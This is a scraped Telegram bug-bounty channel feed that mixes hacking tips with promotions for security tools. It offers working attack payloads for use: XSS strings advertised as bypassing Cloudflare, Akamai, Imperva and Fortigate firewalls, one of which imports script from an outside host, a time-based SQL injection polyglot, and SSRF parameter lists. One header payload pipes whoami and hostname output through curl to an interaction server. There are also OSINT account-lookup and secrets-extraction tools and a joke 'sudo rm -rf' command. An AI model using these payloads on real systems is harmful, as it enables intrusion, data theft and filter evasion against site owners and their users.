XSS
Watch out for reflected XSS in the search parameter!
Payload:
#XSS #BugBounty #Tips
β β β β β β β β β β
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π£ T.me/BugCod3
Watch out for reflected XSS in the search parameter!
Payload:
"-->""/>Hack by Fagun</script><deTailS open x=">" ontoggle=(co\u006efirm)``>"
#XSS #BugBounty #Tips
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π₯6β€4β‘3π3
Export to GBounty
π¬
Export to GBounty is a Burp Suite extension developed using the Montoya API. It allows users to export selected HTTP requests from Burp Suite, including the Site Map Tree, Repeater, and Message Editor, into a compressed ZIP file. This ZIP file can be directly used with the GBounty scanner using the command β`gbounty -rf requests.zip`, enabling streamlined vulnerability scanning and management.
π Features:
βͺοΈ Effortless Export: Easily export selected HTTP requests from multiple sources within Burp Suite.
βͺοΈ Compressed Format: Saves requests in a ZIP archive, optimizing storage and transfer.
Unique File Naming: Each request is saved as a uniquely named text file within the ZIP to prevent conflicts.
βͺοΈ Wide Compatibility: Supports exporting from Site Map Tree, Repeater, Message Editor, and other compatible tools.
βͺοΈ User-Friendly Interface: Adds a context menu option "Export to GBounty" for a seamless user experience.
βͺοΈ Robust Error Handling: Provides clear notifications regarding the export status, including overwrite confirmations and error messages.
πΌ Installation:
Prerequisites
βͺοΈ Java Development Kit (JDK): Ensure you have JDK 8 or higher installed.
βͺοΈ Burp Suite: The extension is compatible with Burp Suite Professional and Burp Suite Community.
π» Usage:
Select Requests to Export:
Within Burp Suite, select the HTTP requests you wish to export from the Site Map Tree, Repeater, Message Editor, or other supported tools.
π Export Requests:
Right-click on the selected requests. Choose the Export to GBounty option from the context menu.
π Run GBounty Scanner:
Use the exported ZIP file with the GBounty scanner by executing the following command in your terminal:
πΈ Github
β¬οΈ Download
π
#BugBounty #Tips #GBounty
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
Export to GBounty is a Burp Suite extension developed using the Montoya API. It allows users to export selected HTTP requests from Burp Suite, including the Site Map Tree, Repeater, and Message Editor, into a compressed ZIP file. This ZIP file can be directly used with the GBounty scanner using the command β`gbounty -rf requests.zip`, enabling streamlined vulnerability scanning and management.
Unique File Naming: Each request is saved as a uniquely named text file within the ZIP to prevent conflicts.
Prerequisites
Select Requests to Export:
Within Burp Suite, select the HTTP requests you wish to export from the Site Map Tree, Repeater, Message Editor, or other supported tools.
Right-click on the selected requests. Choose the Export to GBounty option from the context menu.
Use the exported ZIP file with the GBounty scanner by executing the following command in your terminal:
gbounty -rf requests.zip
BugCod3#BugBounty #Tips #GBounty
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β‘4β€3π₯3π1
XΩSS
Bypass #Akamai, #Imperva and #CloudFlare WAF π§±π₯
#BugBounty #Tips #Bypass
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
Bypass #Akamai, #Imperva and #CloudFlare WAF π§±π₯
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>
#BugBounty #Tips #Bypass
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π₯6β‘3β€3
Time based SQLi Payload π£
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
Injection Pointsπ
URI
parameter name (before & after)
parameter value (before & after)
HTTP Headers like User-Agent,etc...
#SQLi #Payload
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
Injection Points
URI
parameter name (before & after)
parameter value (before & after)
HTTP Headers like User-Agent,etc...
#SQLi #Payload
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β‘4β€3π₯3π2
HACKER search engines
#BugBounty #Search #Engines #Tips
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
#BugBounty #Search #Engines #Tips
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π₯7β‘3β€3
Hacking Articles- Cyber Security Mindmap
π¬
This repository will contain many mindmaps for cyber security technologies, methodologies, courses, and certifications in a tree structure to give brief details about them
πΈ Github
#Cyber #Security #Mindmap
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
This repository will contain many mindmaps for cyber security technologies, methodologies, courses, and certifications in a tree structure to give brief details about them
#Cyber #Security #Mindmap
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β‘3π₯3β€2π1
RCE - Can we still use this in HTTP Header?
#BugBounty #Tips
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
`
'
;
$
>
curl${IFS}$(whoami)-$(hostname)-$(hostname${IFS}-i)[.]your-interact-server#BugBounty #Tips
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β€5β‘3π₯3
JSNinja - "Hunting Bugs in JavaScript!"
π¬
JSNinja is a powerful tool for extracting URLs and sensitive information from JavaScript files. It's designed for security enthusiasts,BugHunters and developers.
π Features:
β Extract URLs from JavaScript files!
β Identify sensitive information such as API keys and tokens!
β User-friendly interface!
β Open Source and actively maintained!
πΌ Installation:
π» Usage:
Command-Line Options:
βͺοΈ
βͺοΈ
βͺοΈ
βͺοΈ
πΈ Github
β¬οΈ Download
π
#BugBounty #JS #Tips
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
JSNinja is a powerful tool for extracting URLs and sensitive information from JavaScript files. It's designed for security enthusiasts,BugHunters and developers.
sudo apt update
sudo apt install git python3 python3-pip -y
cd JSNinja
pip3 install -r requirements.txt
python3 jsninja.py -u http://example.com/script.js --secrets --urls
Command-Line Options:
-u or --url: Specify a single JavaScript URL to fetch.--secrets: Look for sensitive information in the JavaScript content.--urls: Extract URLs from the JavaScript content.-o or --output_file: Specify the file to save extracted links (default: extracted_links.txt).BugCod3#BugBounty #JS #Tips
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π8β€6β‘3π₯3
Top 25 server-side request forgery (SSRF) parameters
Here are the top 25 parameters that could be vulnerable to server-side request forgery (SSRF) vulnerability:
Next time you encounter such parameters in an URL, get notice because SSRF is a critical vulnerability that may allow you to:
βͺοΈ Access services on the loopback interface of the remote server
βͺοΈ Scan internal network an potentially interact with internal services
βͺοΈ Read local files on the server using file:// protocol handler
βͺοΈ Move laterally / pivoting into the internal environment
#SSRF #BugBounty #Tips
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
Here are the top 25 parameters that could be vulnerable to server-side request forgery (SSRF) vulnerability:
?dest={target}
?redirect={target}
?uri={target}
?path={target}
?continue={target}
?url={target}
?window={target}
?next={target}
?data={target}
?reference={target}
?site={target}
?html={target}
?val={target}
?validate={target}
?domain={target}
?callback={target}
?return={target}
?page={target}
?feed={target}
?host={target}
?port={target}
?to={target}
?out={target}
?view={target}
?dir={target}
Next time you encounter such parameters in an URL, get notice because SSRF is a critical vulnerability that may allow you to:
#SSRF #BugBounty #Tips
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β€4π₯4β‘2
CloudFlare XSS Bypass!
It's better than our previous
#XSS #Bypass
β β β β β β β β β β
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π£ T.me/BugCod3
OnXSS=<Img/Src/OnError=alert(1)>
It's better than our previous
<Img Src=OnXSS OnError=alert(1)> because it works where no spaces are allowed.#XSS #Bypass
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β‘7β€5π₯5π€£3π1
XSS Payload Bypassing Cloudflare WAF on Next.js 14.1.4
Payload:
#XSS #Bypass
ββββββββββ
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
Payload:
β>alert(154)</script><script/154=β;;;;;;;#XSS #Bypass
ββββββββββ
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
π₯7β€4β‘3
Fortinet Fortigate XSS Bypass
Payload:
#XSS #Bypass
ββββββββββ
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
Payload:
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a()%20x>#XSS #Bypass
ββββββββββ
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
π7π₯4β€3β‘3
Blackbird is a robust OSINT tool that facilitates rapid searches for user accounts by username or email across a wide array of platforms, enhancing digital investigations. It features WhatsMyName integration, export options in PDF, CSV, and HTTP response formats, and customizable search filters.
cd blackbird
pip install -r requirements.txt
Search by username
python blackbird.py --username username1 username2 username3Search by email
python blackbird.py --email email1@email.com email2@email.com email3@email.comExport results to PDF
python blackbird.py --email email1@email.com --pdfBlackbird uses AI-powered NER models to improve metadata extraction, identifying key entities for faster and more accurate insights.
python blackbird.py --username username1 --aiBugCod3#Python #Osint #Tools
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β€8π4π₯3β‘2
javascript How to extract urls,srcs and hrefs from all HTML elements in any website? Open DevTools and run
#js #extract #urls
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
urls = []
$$('*').forEach(element => {
urls.push(element.src)
urls.push(element.href)
urls.push(element.url)
}); console.log(...new Set(urls))
#js #extract #urls
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β€5β‘3π3π₯3β€βπ₯2
βββ(BugCod3γΏkali)-[~]
ββ$ sudo rm -rf *2024
βββ(BugCod3γΏkali)-[~]
ββ$ sudo mkdir 2025#Notification #NewYear
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π12π₯5πΎ3π€1
CVE-2024-55591
A Fortinet FortiOS Authentication Bypass Vulnerable Behaviour Detection
π¬
Description:
This script attempts to create a WebSocket connection at a random URI from a pre-authenticated perspective to the FortiOS management interface, and reviews the response to determine if the instance is vulnerable
Affected Versions:
βͺοΈ FortiOS 7.0.0 through 7.0.16
βͺοΈ FortiProxy 7.0.0 through 7.0.19
βͺοΈ FortiProxy 7.2.0 through 7.2.12
πΈ Github
β¬οΈ Download
π
#Python #CVE #Vulnerable #Detection
β β β β β β β β β β
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π£ T.me/BugCod3
A Fortinet FortiOS Authentication Bypass Vulnerable Behaviour Detection
Description:
This script attempts to create a WebSocket connection at a random URI from a pre-authenticated perspective to the FortiOS management interface, and reviews the response to determine if the instance is vulnerable
Affected Versions:
BugCod3#Python #CVE #Vulnerable #Detection
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π4β€3π₯3β‘2π1
HExHTTP
π¬
HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors.
π Features:
βͺοΈ Server Error response checking
βͺοΈ Localhost header response analysis
βͺοΈ Vhosts checking
βͺοΈ Methods response analysis
βͺοΈ HTTP Version analysis [Experimental]
βͺοΈ Cache Poisoning DoS (CPDoS) techniques
βͺοΈ Web cache poisoning
βͺοΈ Range poisoning/error (416 response error) [Experimental]
βͺοΈ Cookie Reflection
βͺοΈ CDN/proxies Analysis (Envoy/Apache/Akamai/Nginx) [IP]
πΌ Installation:
π» Usage:
πΈ Github
β¬οΈ Download
π
#Python #HTTP #Headers #Analyze
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
HExHTTP is a tool designed to perform tests on HTTP headers and analyze the results to identify vulnerabilities and interesting behaviors.
pip install -r requirements.txt
./hexhttp.py -u 'https://target.tld/'
# OR
python3 hexhttp.py -u 'https://target.tld/'
./hexhttp.py -h
# Usage: hexhttp.py [-h] [-u URL] [-f URL_FILE] [-H CUSTOM_HEADER] [-A USER_AGENT] [-F] [-a AUTH] [-b]
BugCod3#Python #HTTP #Headers #Analyze
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β€4π₯3β‘2π2πΎ1
IDOR-Forge
IDOR Forge is an advanced and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications.
π¬ Description:
IDOR Forge is a powerful and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. IDOR vulnerabilities occur when an application exposes direct references to internal objects (e.g., database keys, file paths) without proper authorization checks, allowing attackers to access unauthorized data. This tool automates the process of identifying such vulnerabilities by dynamically generating and testing payloads, analyzing responses, and reporting potential issues.
π Features:
βͺοΈ Dynamic Payload Generation
βͺοΈ Multi-Parameter Scanning
βͺοΈ Support for Multiple HTTP Methods
βͺοΈ Concurrent Scanning
βͺοΈ Rate Limiting Detection
βͺοΈ Customizable Test Values
βͺοΈ Sensitive Data Detection
βͺοΈ Proxy Support
βͺοΈ Interactive GUI Mode
βͺοΈ Verbose Mode
βͺοΈ Output Options
βͺοΈ Custom Headers
βͺοΈ Session Handling
πΌ Installation:
π» Usage:
πΌ Interactive GUI Mode:
πΈ Github
β¬οΈ Download
π
#Python #Idor #Vulnerability #Tools
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
IDOR Forge is an advanced and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications.
IDOR Forge is a powerful and versatile tool designed to detect Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. IDOR vulnerabilities occur when an application exposes direct references to internal objects (e.g., database keys, file paths) without proper authorization checks, allowing attackers to access unauthorized data. This tool automates the process of identifying such vulnerabilities by dynamically generating and testing payloads, analyzing responses, and reporting potential issues.
pip install -r requirements.txt
python IDOR-Forge.py
# CLI Basic Usage
python IDOR-Forge.py -u "https://example.com/api/resource?id=1"
# Advanced Usage
python IDOR-Forge.py -u "https://example.com/api/resource?id=1" -p -m GET --proxy "http://127.0.0.1:8080" -v -o results.csv --output-format csv
python IDOR-Forge.py -u http://example.com/resource?id=1 -p -m GET --output results.csv --output-format csv --test-values [100,200,300] --sensitive-keywords ["password", "email"]
python idor_hunter.py --interactive
BugCod3#Python #Idor #Vulnerability #Tools
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β€7π4π₯3β‘2
π― Directory-Traversal-Payloads π―
List of Directory Traversal/LFI Payloads Scraped from the Internet
πΈ Github
β¬οΈ Download
π
#Payload #Directory
β β β β β β β β β β
π€ T.me/BugCod3BOT
π£ T.me/BugCod3
List of Directory Traversal/LFI Payloads Scraped from the Internet
BugCod3#Payload #Directory
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π₯9β€6β‘2π2
WordPress A/B Image Optimizer 3.3 Plugin Arbitrary File Download Vulnerability
π Category: web applications
π» Platform: php
πͺ Risk: Security Risk High π¨
π¬
WordPress Plugin A/B Image Optimizer plugin versions 3.3 and below suffers from an arbitrary file download vulnerability.
π₯ CVE: CVE-2025-25163
β¬οΈ Download
π
#CVE #Exploit #PHP #WordPress
β β β β β β β β β β
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WordPress Plugin A/B Image Optimizer plugin versions 3.3 and below suffers from an arbitrary file download vulnerability.
BugCod3#CVE #Exploit #PHP #WordPress
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